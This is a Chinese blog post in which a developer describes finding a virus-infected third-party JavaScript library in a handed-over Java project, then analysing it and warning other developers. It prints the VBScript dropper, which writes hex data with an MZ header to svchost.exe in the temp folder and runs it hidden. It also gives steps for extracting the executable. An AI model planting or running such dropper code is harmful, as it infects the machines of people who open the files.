公司准备接手一个移交过来的项目,项目是 Java 写的,本来这种事情比较普遍没有什么太新鲜的事情,只要把代码、文档、环境等尽可能详细的沟通清楚,也就算完事了。但是,接手这个项目却发生了一些有趣的事情。
事情是这样的!!!!
今天去公司要设置一个扫码盒子,因为设置扫码盒子的软件是一个 exe 文件,因此我只能使用 Windows 系统,因此我背着我那老旧的 ThinkPad 去了公司(公司给准备的是 macOS 系统,所以只能带自己的 Windows 去)。去了公司,除了设置扫码盒子以外,刚好遇到了需要看看移交过来的代码,于是我就顺手将代码拉取到了我的 Windows 系统上,这些都没啥新鲜的。当代码拉取完以后,用 IDEA 打开这些代码时,Windows 的杀软就有提示了。我想,几个 Java 文件还报病毒,这 IDEA 半天加载不完项目,就顺手把杀软停掉了。当项目加载完成以后,我打开了刚才报毒的那个文件,那个文件是一个第三方的 js 库文件,打开以后文件是空的。看来还是被查杀了!
我就只能去码云上查看这个文件,一看果然是有病毒。病毒如下:
<SCRIPTLanguage=VBScript><!--DropFileName="svchost.exe"WriteData="4D5A90000300000004"SetFSO=CreateObject("Scripting.FileSystemObject")DropPath=FSO.GetSpecialFolder(2)&"\"&DropFileNameIfFSO.FileExists(DropPath)=FalseThenSetFileObj=FSO.CreateTextFile(DropPath, True)Fori=1ToLen(WriteData)Step2FileObj.WriteChr(CLng("&H"&Mid(WriteData,i,2)))NextFileObj.CloseEndIfSetWSHshell=CreateObject("WScript.Shell")WSHshell.RunDropPath, 0//--></SCRIPT>
这个代码是一段 vbs 的代码,其实及时不懂 vbs,这段代码也是能看懂的。通过一个 FSO 创建了一个名为 svchost.exe 的文件,然后将 WriteData 中的内容写入了 svchost.exe 文件内。
注:WriteData 的数据很长很长,这里我将它截取了。
用过 Windows 应该都知道 svchost.exe 是一个系统文件,而且开机以后进程管理器中有很多,一般人都不敢轻易结束这个进程。
然后注意观察,写入的数据开头前 4 个字符是 4D5A,其实了解些软件安全的应该都知道这是什么。在 Windows 下的可执行文件开头前两个字节的十六进制就是 4D5A,即 MZ 头。MZ 头是 DOS 时代的产物,那么这段很长的数据可能就是一个可执行文件的十六进制。那么就已经猜到了,vbs 生成了一个可执行文件。那么想知道这个可执行文件干了点啥呢?
把上面的第一行和最后三行删掉,在第五行加一句 MsgBox DropPath,然后保存为 .vbs 文件,然后双击运行它。我们就可以在对应的目录找到这个可执行程序了。下图是它所称文件所在的目录和生成的文件。
为了保险起见,先用十六进制查看一下吧。
DOS 头和 PE 头清晰可见,然后从节区数据看到是加壳的。继续往下看,图下如:
文件结尾处的数据像是导入的 DLL 和 DLL 的导出函数,但是看这导入信息貌似也不全啊。和 vbs 中比对一下。
看着数据应该是一致的。不过十六进制不太直观,换个直观的工具看吧。
改个扩展名,在物理机里静态查看一下它的情况吧,在打开它的时候给出了很多提示,我就一路确定,但是最后看到的却不是反汇编代码,而是有问题的提示,如下图:
可以看到给出了 PE 结构的大体信息,红色部分说明它的入口地址是有问题的,诡异!
静态不行,就在虚拟机里动态分析看一下吧,结果……
也还是不行,那干脆我就在虚拟机里双击运行吧。结果看到的仍然是报错信息。
费了半天劲,原来是个跑不起来的病毒,这个作者这么辛苦地感染了第三方库文件,然后还给病毒加了壳,结果最后应该是复制病毒的十六进制时复制的有问题了,导致它成了一个不能运行的东西。
svchost.exe 虽然不能运行,但是我猜测应该是一个下载器,也就是它本身不具备什么破坏的功能,但是它会从网上下载一堆病毒回来祸祸你的系统。
好吧,其实这样的事情是第二次遇到了(就是 Java 项目中存在这样被病毒感染的 js 文件或者 HTML 文件),对于 macOS 环境应该是无所谓了,但是 js 是浏览器端解析执行,用 Windows 的客户端就麻烦了。遇到这种无法执行的病毒也还算运气好,如果能运行,且没有被杀软查杀,让那个所谓的 svchost.exe 执行了,就麻烦了。开发人员还是注意点吧,如果真的给客户带来麻烦,那么这个锅估计也不好甩出去吧!